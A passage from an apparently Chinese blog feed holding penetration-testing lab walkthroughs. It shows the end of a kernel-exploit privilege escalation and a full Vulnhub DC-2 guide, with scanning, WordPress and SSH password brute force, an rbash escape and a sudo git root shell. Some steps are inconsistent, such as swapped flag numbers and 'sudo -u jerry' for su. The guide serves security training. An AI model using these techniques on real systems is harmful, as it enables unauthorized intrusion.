class=&quot;prism-highlight prism-language-bash&quot;&gt;cd&amp;nbsp;ebpf_mapfd_doubleput_exploit
./compile.sh
./doubleput&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610211792514997896500.png&quot; alt=&quot;图片.png&quot; width=&quot;500&quot; height=&quot;97&quot; border=&quot;0&quot; vspace=&quot;0&quot; title=&quot;图片.png&quot; style=&quot;width: 500px; height: 97px;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;当我们看到下图所示的信息时，说明我们的提取已经取得成功，下面我就可以获取该系统的flag信息啦！&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610211792515235878770.png&quot; alt=&quot;图片.png&quot; width=&quot;500&quot; height=&quot;124&quot; border=&quot;0&quot; vspace=&quot;0&quot; title=&quot;图片.png&quot; style=&quot;width: 500px; height: 124px;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;我们使用cd到root目录下面，查了flag信息文件。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610211792515298796881.png&quot; alt=&quot;图片.png&quot; width=&quot;500&quot; height=&quot;284&quot; border=&quot;0&quot; vspace=&quot;0&quot; title=&quot;图片.png&quot; style=&quot;width: 500px; height: 284px;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;我们使用cat查看the-flag.txt文件，获取flag内容。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610211792515367745087.png&quot; alt=&quot;图片.png&quot; width=&quot;500&quot; height=&quot;280&quot; border=&quot;0&quot; vspace=&quot;0&quot; title=&quot;图片.png&quot; style=&quot;width: 500px; height: 280px;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;注意：有时候也会使用脏牛提权，但是根据大部分的测试，发现脏牛提权会让靶机奔溃，这里我们优先使用39772的提权文件。如果有大佬可以给出宝贝的意见。&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</description><pubDate>Tue, 20 Oct 2026 21:07:32 +0800</pubDate></item><item><title>vulnhub-DC-2渗透教程</title><link>https://www.shibaolong.com/?id=3</link><description>&lt;p&gt;引言&lt;/p&gt;&lt;p&gt;DC-2 是一个面向初学者的 WordPress 渗透靶场，整个攻击链覆盖&lt;strong&gt;信息收集 → 字典生成 → 凭据爆破 → 横向移动 → 权限提升&lt;/strong&gt;五个阶段。本教程侧重渗透思路的演进，对每一步&amp;quot;为什么这么做&amp;quot;做明确说明，而不只罗列命令。&lt;/p&gt;&lt;hr/&gt;&lt;h1&gt;&lt;span style=&quot;font-size: 18px;&quot;&gt;1. 信息收集&lt;/span&gt;&lt;/h1&gt;&lt;h3&gt;1.1 主机发现&lt;/h3&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;确认目标在线，获取 IP。&lt;/p&gt;&lt;pre&gt;nmap&amp;nbsp;-sn&amp;nbsp;172.16.1.0/24&lt;/pre&gt;&lt;p&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610111791730394475161.png&quot; alt=&quot;图片.png&quot; width=&quot;500&quot; height=&quot;120&quot; border=&quot;0&quot; vspace=&quot;0&quot; title=&quot;图片.png&quot; style=&quot;width: 500px; height: 120px;&quot;/&gt;&lt;/p&gt;&lt;h3 id=&quot;12-全端口扫描与服务识别&quot;&gt;1.2 全端口扫描与服务识别&lt;/h3&gt;&lt;pre&gt;nmap&amp;nbsp;-A&amp;nbsp;-sV&amp;nbsp;-p-&amp;nbsp;172.16.1.21&lt;/pre&gt;&lt;p&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610111791730521434868.png&quot; alt=&quot;图片.png&quot; width=&quot;515&quot; height=&quot;109&quot; border=&quot;0&quot; vspace=&quot;0&quot; title=&quot;图片.png&quot; style=&quot;width: 515px; height: 109px;&quot;/&gt;&lt;/p&gt;&lt;p&gt;扫描结果显示目标开放两个端口：&lt;/p&gt;&lt;table&gt;&lt;thead&gt;&lt;tr class=&quot;firstRow&quot;&gt;&lt;th&gt;端口&lt;/th&gt;&lt;th&gt;服务&lt;/th&gt;&lt;th&gt;备注&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;80/tcp&lt;/td&gt;&lt;td&gt;Apache&lt;/td&gt;&lt;td&gt;标准 Web 端口&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;7744/tcp&lt;/td&gt;&lt;td&gt;SSH&lt;/td&gt;&lt;td style=&quot;word-break: break-all;&quot;&gt;&lt;p&gt;疑似修改默认端口（22）&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;参数解析：&lt;code&gt;-A&lt;/code&gt; 启用 OS 识别 + 服务版本 + 默认 NSE 脚本 + 路由追踪；&lt;code&gt;-sV&lt;/code&gt; 单独再跑一次服务探测（提高识别强度）；&lt;code&gt;-p-&lt;/code&gt; 扫描全部 65535 端口，避免漏掉非标准端口。&lt;/p&gt;&lt;h3&gt;1.3 配置 hosts 域名解析&lt;/h3&gt;&lt;p&gt;为保证后续基于域名的访问能正常解析，需在本地 hosts 中追加记录：&lt;/p&gt;&lt;pre&gt;echo&amp;nbsp;&amp;quot;172.16.1.21&amp;nbsp;dc-2&amp;quot;&amp;nbsp;|&amp;nbsp;sudo&amp;nbsp;tee&amp;nbsp;-a&amp;nbsp;/etc/hosts&lt;/pre&gt;&lt;p&gt;验证：&lt;/p&gt;&lt;pre&gt;ping&amp;nbsp;-c&amp;nbsp;3&amp;nbsp;dc-2&lt;/pre&gt;&lt;h2 id=&quot;二、web-渗透（wordpress）&quot;&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610111791730806110114.png&quot; alt=&quot;图片.png&quot; width=&quot;500&quot; height=&quot;185&quot; border=&quot;0&quot; vspace=&quot;0&quot; title=&quot;图片.png&quot; style=&quot;width: 500px; height: 185px;&quot;/&gt;&lt;br/&gt;&lt;/h2&gt;&lt;h1&gt;&lt;span style=&quot;font-size: 18px;&quot;&gt;2.Web 渗透（WordPress）&lt;/span&gt;&lt;/h1&gt;&lt;h3 id=&quot;21-站点指纹识别&quot;&gt;2.1 站点指纹识别&lt;/h3&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;访问 &lt;code&gt;http://dc-2/&lt;/code&gt;，通过首页特征确认目标为 WordPress 站点。&lt;/p&gt;&lt;p&gt;&lt;img class=&quot;ue-image&quot; src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610111791731857272137.png&quot; title=&quot;微信图片_20261011230429_26_3.png&quot; alt=&quot;微信图片_20261011230429_26_3.png&quot; style=&quot;width: 500px; height: 254px;&quot; width=&quot;500&quot; height=&quot;254&quot; border=&quot;0&quot; vspace=&quot;0&quot;/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610111791732658289476.png&quot; alt=&quot;图片.png&quot; width=&quot;500&quot; height=&quot;141&quot; border=&quot;0&quot; vspace=&quot;0&quot; title=&quot;图片.png&quot; style=&quot;width: 500px; height: 141px;&quot;/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;结果在首页内容中暴露了 &lt;strong&gt;flag1&lt;/strong&gt;：&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;flag1 提示要点：标准字典可能不奏效，考虑从站点本身生成专属字典；多账号切换可能是突破关键。&lt;/p&gt;&lt;h2 style=&quot;text-indent: 0em;&quot;&gt;&lt;span style=&quot;font-size: 16px;&quot;&gt;2.2 dirb进行目录枚举&lt;/span&gt;&lt;/h2&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;dirb&amp;nbsp;&amp;nbsp;http://dc-2&lt;/pre&gt;&lt;p&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610111791732957607766.png&quot; alt=&quot;图片.png&quot; width=&quot;500&quot; height=&quot;237&quot; border=&quot;0&quot; vspace=&quot;0&quot; title=&quot;图片.png&quot; style=&quot;width: 500px; height: 237px;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;我们经过扫描，获取到了后台管理目录/wp-admin/admin.php，我们访问该目录，发现是WordPress的后台登录页面。&lt;/p&gt;&lt;p style=&quot;text-indent: 0em;&quot;&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610111791733085479024.png&quot; alt=&quot;图片.png&quot; style=&quot;width: 500px; height: 271px;&quot; width=&quot;500&quot; height=&quot;271&quot; border=&quot;0&quot; vspace=&quot;0&quot; title=&quot;图片.png&quot;/&gt;&lt;/p&gt;&lt;h3 id=&quot;22-wpscan-综合扫描&quot;&gt;2.3 wpscan 扫描枚举用户名&lt;/h3&gt;&lt;pre&gt;wpscan&amp;nbsp;--url&amp;nbsp;http://dc-2&amp;nbsp;--enumerate&amp;nbsp;u&lt;/pre&gt;&lt;p&gt;&lt;/p&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610111791733249732358.png&quot; alt=&quot;图片.png&quot; width=&quot;500&quot; height=&quot;255&quot; border=&quot;0&quot; vspace=&quot;0&quot; title=&quot;图片.png&quot; style=&quot;width: 500px; height: 255px;&quot;/&gt;&lt;p&gt;经过用户枚举，发现该web应用下面存在三个账号，分别是admin、Jerry、tom。&lt;/p&gt;&lt;h1&gt;&lt;span style=&quot;font-size: 18px;&quot;&gt;3.字典生成与凭据爆破&lt;/span&gt;&lt;/h1&gt;&lt;h3 id=&quot;31-cewl-爬取站点生成字典&quot;&gt;3.1 cewl 爬取站点生成字典&lt;/h3&gt;&lt;pre&gt;cewl&amp;nbsp;http://dc-2&amp;nbsp;-w&amp;nbsp;/tmp/dc2.txt&lt;/pre&gt;&lt;p&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610111791733630462405.png&quot; alt=&quot;图片.png&quot; width=&quot;500&quot; height=&quot;124&quot; border=&quot;0&quot; vspace=&quot;0&quot; title=&quot;图片.png&quot; style=&quot;width: 500px; height: 124px;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;工具说明：cewl（Custom Word List generator）从目标站点爬取正文，生成针对该站点的专属字典。对于小众站点（人名/术语/产品词），定制字典的命中率远高于通用字典（如 rockyou.txt）。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;经过cewl密码生成工具总计生产了238条密码。&lt;/p&gt;&lt;h3 id=&quot;32-wpscan-密码爆破&quot;&gt;3.2 wpscan 密码爆破&lt;/h3&gt;&lt;pre&gt;wpscan&amp;nbsp;--url&amp;nbsp;http://dc-2&amp;nbsp;-P&amp;nbsp;/tmp/dc2.txt&lt;/pre&gt;&lt;p&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610111791734320262074.png&quot; alt=&quot;图片.png&quot; width=&quot;500&quot; height=&quot;61&quot; border=&quot;0&quot; vspace=&quot;0&quot; title=&quot;图片.png&quot; style=&quot;width: 500px; height: 61px;&quot;/&gt;&lt;/p&gt;&lt;p&gt;爆破成功：&lt;/p&gt;&lt;table interlaced=&quot;enabled&quot;&gt;&lt;tbody&gt;&lt;tr class=&quot;ue-table-interlace-color-single firstRow&quot;&gt;&lt;td valign=&quot;middle&quot; style=&quot;word-break: break-all; border-color: rgb(141, 179, 226); border-width: 1px; border-style: solid;&quot; align=&quot;center&quot;&gt;用户名&lt;/td&gt;&lt;td valign=&quot;middle&quot; style=&quot;word-break: break-all; border-color: rgb(141, 179, 226); border-width: 1px; border-style: solid;&quot; align=&quot;center&quot;&gt;密码&lt;/td&gt;&lt;/tr&gt;&lt;tr class=&quot;ue-table-interlace-color-double&quot;&gt;&lt;td valign=&quot;middle&quot; style=&quot;border-color: rgb(141, 179, 226); border-width: 1px; border-style: solid; word-break: break-all;&quot; align=&quot;center&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Jerry&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/td&gt;&lt;td valign=&quot;middle&quot; style=&quot;border-color: rgb(141, 179, 226); border-width: 1px; border-style: solid; word-break: break-all;&quot; align=&quot;center&quot;&gt;&amp;nbsp;adipiscing&lt;/td&gt;&lt;/tr&gt;&lt;tr class=&quot;ue-table-interlace-color-single&quot;&gt;&lt;td valign=&quot;middle&quot; colspan=&quot;1&quot; rowspan=&quot;1&quot; style=&quot;border-color: rgb(141, 179, 226); border-width: 1px; border-style: solid; word-break: break-all;&quot; align=&quot;left&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;tom&lt;/td&gt;&lt;td valign=&quot;middle&quot; colspan=&quot;1&quot; rowspan=&quot;1&quot; style=&quot;border-color: rgb(141, 179, 226); border-width: 1px; border-style: solid; word-break: break-all;&quot; align=&quot;center&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;parturient&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;h3 id=&quot;33-登录-wp-admin-拿-flag4&quot;&gt;3.3 登录 wp-admin 拿 flag2&lt;/h3&gt;&lt;p&gt;访问 &lt;code&gt;http://dc-2/wp-login.php&lt;/code&gt;，使用 jerry 凭据登录。&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610121791734933560677.png&quot; alt=&quot;图片.png&quot; width=&quot;500&quot; height=&quot;253&quot; border=&quot;0&quot; vspace=&quot;0&quot; title=&quot;图片.png&quot; style=&quot;width: 500px; height: 253px;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;在 Pages 列表中找到 &lt;strong&gt;Flag 4&lt;/strong&gt; 页面，进入后得到 flag4：&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;flag4 提示要点：与 flag1 呼应——再次强调字典生成工具与多账号切换，并提示剩余 flag 需要通过 SSH（端口 7744）从其他用户入手。&lt;/p&gt;&lt;hr/&gt;&lt;h2 id=&quot;四、ssh-横向移动&quot;&gt;4. SSH 横向移动&lt;/h2&gt;&lt;h3 id=&quot;41-hydra-爆破-tom-凭据&quot;&gt;4.1 hydra 爆破 tom 凭据&lt;/h3&gt;&lt;p&gt;复用 cewl 字典，对 SSH（端口 7744）爆破 tom 账号：&lt;/p&gt;&lt;pre&gt;hydra&amp;nbsp;-l&amp;nbsp;tom&amp;nbsp;-P&amp;nbsp;/tmp/dc2.txt&amp;nbsp;ssh://dc-2&amp;nbsp;-s&amp;nbsp;7744&amp;nbsp;-t&amp;nbsp;4&lt;/pre&gt;&lt;p&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610121791735473196170.png&quot; alt=&quot;图片.png&quot; width=&quot;500&quot; height=&quot;193&quot; border=&quot;0&quot; vspace=&quot;0&quot; title=&quot;图片.png&quot; style=&quot;width: 500px; height: 193px;&quot;/&gt;&lt;/p&gt;&lt;p&gt;爆破成功：&lt;/p&gt;&lt;table&gt;&lt;thead&gt;&lt;tr class=&quot;firstRow&quot;&gt;&lt;th&gt;用户&lt;/th&gt;&lt;th&gt;密码&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;word-break: break-all;&quot;&gt;&amp;nbsp;tom&lt;/td&gt;&lt;td style=&quot;word-break: break-all;&quot; align=&quot;center&quot; valign=&quot;middle&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; parturient&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;h3 id=&quot;42-ssh-登入&quot;&gt;4.2 SSH 登入&lt;/h3&gt;&lt;pre&gt;ssh&amp;nbsp;-p&amp;nbsp;7744&amp;nbsp;tom@dc-2&lt;/pre&gt;&lt;p&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610121791735622692139.png&quot; alt=&quot;图片.png&quot; width=&quot;500&quot; height=&quot;206&quot; border=&quot;0&quot; vspace=&quot;0&quot; title=&quot;图片.png&quot; style=&quot;width: 500px; height: 206px;&quot;/&gt;&lt;/p&gt;&lt;p&gt;登入后发现 shell 受限（rbash），无法直接执行大部分命令。&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610121791735731897752.png&quot; alt=&quot;图片.png&quot; width=&quot;500&quot; height=&quot;99&quot; border=&quot;0&quot; vspace=&quot;0&quot; title=&quot;图片.png&quot; style=&quot;width: 500px; height: 99px;&quot;/&gt;&lt;/p&gt;&lt;h3 id=&quot;43-绕过-rbash-限制&quot;&gt;4.3 绕过 rbash 限制&lt;/h3&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;rbash 限制的本质是：清空 &lt;code class=&quot;inline-code&quot;&gt;PATH&lt;/code&gt;、锁定 &lt;code class=&quot;inline-code&quot;&gt;SHELL&lt;/code&gt; 环境变量、禁止修改 PATH。在该限制下，经典的 &lt;code class=&quot;inline-code&quot;&gt;vi :set shell=/bin/bash + :shell&lt;/code&gt; 路径实际上&lt;strong&gt;无法逃逸&lt;/strong&gt;vi 内部 &lt;code class=&quot;inline-code&quot;&gt;exec()&lt;/code&gt; 时已找不到 &lt;code class=&quot;inline-code&quot;&gt;/bin/bash&lt;/code&gt;，且 &lt;code class=&quot;inline-code&quot;&gt;SHELL&lt;/code&gt; 被锁定。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;可用的逃逸路径是利用 bash 内建命令的 &lt;code class=&quot;inline-code&quot;&gt;BASH_CMDS&lt;/code&gt; 哈希表：&lt;/p&gt;&lt;pre&gt;BASH_CMDS[a]=/bin/sh;a
export&amp;nbsp;PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin&lt;/pre&gt;&lt;p style=&quot;text-indent: 0em;&quot;&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610121791736316353954.png&quot; alt=&quot;图片.png&quot; width=&quot;500&quot; height=&quot;100&quot; border=&quot;0&quot; vspace=&quot;0&quot; title=&quot;图片.png&quot; style=&quot;width: 500px; height: 100px;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;span style=&quot;font-family: 微软雅黑, Microsoft YaHei;&quot;&gt;原理：&lt;/span&gt;&lt;code class=&quot;inline-code&quot;&gt;&lt;span style=&quot;font-family: 微软雅黑, Microsoft YaHei;&quot;&gt;BASH_CMDS&lt;/span&gt;&lt;/code&gt;&lt;span style=&quot;font-family: 微软雅黑, Microsoft YaHei;&quot;&gt; 是 bash 的命令名查找关联数组，rbash 的限制作用于 PATH 与 SHELL，不会触及该哈希——将 &lt;/span&gt;&lt;code class=&quot;inline-code&quot;&gt;&lt;span style=&quot;font-family: 微软雅黑, Microsoft YaHei;&quot;&gt;/bin/sh&lt;/span&gt;&lt;/code&gt;&lt;span style=&quot;font-family: 微软雅黑, Microsoft YaHei;&quot;&gt; 注册为名字 &lt;/span&gt;&lt;code class=&quot;inline-code&quot;&gt;&lt;span style=&quot;font-family: 微软雅黑, Microsoft YaHei;&quot;&gt;a&lt;/span&gt;&lt;/code&gt;&lt;span style=&quot;font-family: 微软雅黑, Microsoft YaHei;&quot;&gt; 的命令后，bash 内部直接 &lt;/span&gt;&lt;code class=&quot;inline-code&quot;&gt;&lt;span style=&quot;font-family: 微软雅黑, Microsoft YaHei;&quot;&gt;execve()&lt;/span&gt;&lt;/code&gt;&lt;span style=&quot;font-family: 微软雅黑, Microsoft YaHei;&quot;&gt; 调用，绕开 PATH 限制。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;code class=&quot;inline-code&quot;&gt;&lt;span style=&quot;font-family: 微软雅黑, Microsoft YaHei;&quot;&gt;BASH_CMDS&lt;/span&gt;&lt;/code&gt;&lt;span style=&quot;font-family: 微软雅黑, Microsoft YaHei;&quot;&gt; 帮你绕进了 sh，但新 shell 启动时还是会读受限的 PATH，所以 cat、vim 照样找不到。新 shell 不继承 &lt;/span&gt;&lt;code class=&quot;inline-code&quot;&gt;&lt;span style=&quot;font-family: 微软雅黑, Microsoft YaHei;&quot;&gt;BASH_CMDS&lt;/span&gt;&lt;/code&gt;&lt;span style=&quot;font-family: 微软雅黑, Microsoft YaHei;&quot;&gt;，只继承 &lt;/span&gt;&lt;code class=&quot;inline-code&quot;&gt;&lt;span style=&quot;font-family: 微软雅黑, Microsoft YaHei;&quot;&gt;PATH，所以我们需要进入新的shell以后立即进行export。&lt;/span&gt;&lt;/code&gt;&lt;code class=&quot;inline-code&quot;&gt;&lt;/code&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;绕过 rbash 后恢复正常 shell，在 tom 家目录中找到 &lt;strong&gt;flag3&lt;/strong&gt;：&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610121791737199119906.png&quot; alt=&quot;图片.png&quot; width=&quot;500&quot; height=&quot;152&quot; border=&quot;0&quot; vspace=&quot;0&quot; title=&quot;图片.png&quot; style=&quot;width: 500px; height: 152px;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;flag3 提示要点：tom 一直在追 jerry，提示下一步应以 jerry 身份继续（&lt;code&gt;su&lt;/code&gt; 切换）。&lt;/p&gt;&lt;hr/&gt;&lt;h2 id=&quot;五、权限提升&quot;&gt;五、权限提升&lt;/h2&gt;&lt;h3 id=&quot;51-sudo--l-探测&quot;&gt;5.1 sudo -l 探测&lt;/h3&gt;&lt;pre&gt;sudo&amp;nbsp;-l&lt;/pre&gt;&lt;p&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610121791739633910938.png&quot; alt=&quot;图片.png&quot; width=&quot;500&quot; height=&quot;110&quot; border=&quot;0&quot; vspace=&quot;0&quot; title=&quot;图片.png&quot; style=&quot;width: 500px; height: 110px;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;我们发现tom没有sudo权限，但是由于在flag3.txt中提示我们可以使用su进行身份切换，那么我们使用su - jerry进行身份切换，由于su不需要使用sudo权限，只需要知道jerry的密码即可，根据前期的信息采集，我们已经知道了jerry的密码，下面切换即可。&lt;/p&gt;&lt;h3 id=&quot;52-切换-jerry-拿-flag2&quot;&gt;5.2 切换 jerry 拿 flag4&lt;/h3&gt;&lt;pre&gt;sudo&amp;nbsp;-u&amp;nbsp;jerry&lt;/pre&gt;&lt;p&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610121791739911633925.png&quot; alt=&quot;图片.png&quot; width=&quot;500&quot; height=&quot;161&quot; border=&quot;0&quot; vspace=&quot;0&quot; title=&quot;图片.png&quot; style=&quot;width: 500px; height: 161px;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;在 jerry 家目录找到 &lt;strong&gt;flag4&lt;/strong&gt;：&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610121791739955817087.png&quot; alt=&quot;图片.png&quot; width=&quot;500&quot; height=&quot;146&quot; border=&quot;0&quot; vspace=&quot;0&quot; title=&quot;图片.png&quot; style=&quot;width: 500px; height: 146px;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;flag2 提示要点：需要 root 权限才能访问最终 flag；提示 git 提权路径。&lt;/p&gt;&lt;h3 id=&quot;53-git-提权拿到-flag5&quot;&gt;5.3 git 提权拿到 flag5&lt;/h3&gt;&lt;p&gt;jerry 拥有 root 级别的 git sudo 权限。利用 git 的 pager 逃逸提权至 root：&lt;/p&gt;&lt;pre&gt;sudo&amp;nbsp;git&amp;nbsp;-p&amp;nbsp;help&amp;nbsp;config&lt;/pre&gt;&lt;p&gt;进入 git 的分页模式（less），输入：&lt;/p&gt;&lt;pre&gt;!/bin/sh&lt;/pre&gt;&lt;p&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610121791740152240894.png&quot; alt=&quot;图片.png&quot; width=&quot;500&quot; height=&quot;246&quot; border=&quot;0&quot; vspace=&quot;0&quot; title=&quot;图片.png&quot; style=&quot;width: 500px; height: 246px;&quot;/&gt;&lt;/p&gt;&lt;p&gt;拿到 root shell 后：&lt;/p&gt;&lt;pre&gt;cd&amp;nbsp;theflag.txt&lt;/pre&gt;&lt;p&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610121791740221679350.png&quot; alt=&quot;图片.png&quot; width=&quot;500&quot; height=&quot;262&quot; border=&quot;0&quot; vspace=&quot;0&quot; title=&quot;图片.png&quot; style=&quot;width: 500px; height: 262px;&quot;/&gt;&lt;/p&gt;&lt;p&gt;至此，5 个 flag 全部集齐。&lt;/p&gt;&lt;hr/&gt;&lt;h2 id=&quot;总结&quot;&gt;总结&lt;/h2&gt;&lt;h3 id=&quot;攻击链回顾&quot;&gt;攻击链回顾&lt;/h3&gt;&lt;pre&gt;信息收集（nmap）
&amp;nbsp;&amp;nbsp;&amp;nbsp;↓
Web&amp;nbsp;渗透（wpscan&amp;nbsp;/&amp;nbsp;dirb）
&amp;nbsp;&amp;nbsp;&amp;nbsp;↓
字典生成（cewl）
&amp;nbsp;&amp;nbsp;&amp;nbsp;↓
凭据爆破（wpscan&amp;nbsp;/&amp;nbsp;hydra）
&amp;nbsp;&amp;nbsp;&amp;nbsp;↓
横向移动（SSH&amp;nbsp;+&amp;nbsp;rbash&amp;nbsp;绕过）
&amp;nbsp;&amp;nbsp;&amp;nbsp;↓
权限提升（sudo&amp;nbsp;su&amp;nbsp;+&amp;nbsp;git&amp;nbsp;提权）
&amp;nbsp;&amp;nbsp;&amp;nbsp;↓
flag&amp;nbsp;收割&lt;/pre&gt;&lt;h3 id=&quot;核心收获&quot;&gt;核心收获&lt;/h3&gt;&lt;ol class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;cewl 是定制字典的利器&lt;/strong&gt; —— 任何站点都可作为字典源，不依赖通用字典的&amp;quot;运气&amp;quot;。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;多账号切换是 WP 站点的常见突破口&lt;/strong&gt; —— 不要满足于拿下一个账号，剩余用户往往通向更深层。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;rbash 不是绝对隔离&lt;/strong&gt; —— &lt;code&gt;vi&lt;/code&gt;/&lt;code&gt;vim&lt;/code&gt; 是经典的逃逸点，遇到受限 shell 优先尝试。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;git -p help config 是经典提权&lt;/strong&gt; —— 任何允许 &lt;code&gt;sudo git&lt;/code&gt; 的环境都应立刻排查。&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;h3 id=&quot;拓展思考&quot;&gt;拓展思考&lt;/h3&gt;&lt;ul class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;如果 cewl 字典也不够大，可以加入 &lt;code&gt;cewl -d 3&lt;/code&gt;（爬取深度 3）或结合 &lt;code&gt;crunch&lt;/code&gt; 生成变体。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;真实环境中，WordPress 站点还应关注插件漏洞（如 &lt;code&gt;wp-file-manager&lt;/code&gt; CVE-2020-25213），本靶场暂未涉及。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;rbash 绕过方式不只 BASH_CMDS 一种，还可通过 &lt;code&gt;man&lt;/code&gt;、&lt;code&gt;python&lt;/code&gt;、&lt;code&gt;awk&lt;/code&gt; 等多种工具逃逸。&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;hr/&gt;&lt;blockquote&gt;&lt;p&gt;本文首发于个人博客，转载请保留原文链接。&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</description><pubDate>Sun, 11 Oct 2026 22:50:15 